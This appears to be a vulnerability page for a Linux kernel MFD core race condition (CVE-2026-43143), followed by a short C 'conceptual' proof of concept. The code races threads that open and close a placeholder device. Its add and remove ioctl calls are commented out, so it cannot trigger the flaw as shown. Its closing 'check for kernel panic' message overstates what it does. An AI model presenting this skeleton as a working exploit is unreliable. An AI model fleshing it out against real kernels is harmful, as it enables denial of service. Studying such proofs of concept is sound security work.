CVE-2026-43143 Linux内核mfd核心组件竞争条件漏洞

/* * PoC for CVE-2026-43143 (Conceptual) * This code attempts to trigger the race condition in mfd_of_node_list * by concurrently adding and removing MFD devices. * Requires access to a vulnerable MFD device interface. */ #include <pthread.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> #include <sys/ioctl.h> #define DEVICE_PATH "/dev/vulnerable_mfd_device" void *thread_add(void *arg) { int fd = open(DEVICE_PATH, O_RDWR); if (fd < 0) return NULL; // Simulate triggering device add operation // ioctl(fd, MFD_ADD_DEVICE, NULL); close(fd); return NULL; } void *thread_remove(void *arg) { int fd = open(DEVICE_PATH, O_RDWR); if (fd < 0) return NULL; // Simulate triggering device remove operation // ioctl(fd, MFD_REMOVE_DEVICE, NULL); close(fd); return NULL; } int main() { pthread_t t1, t2; printf("[+] Starting Race Condition PoC for CVE-2026-43143\n"); for (int i = 0; i < 1000; i++) { pthread_create(&t1, NULL, thread_add, NULL); pthread_create(&t2, NULL, thread_remove, NULL); pthread_join(t1, NULL); pthread_join(t2, NULL); } printf("[+] Exploit finished. Check for kernel panic.\n"); return 0; }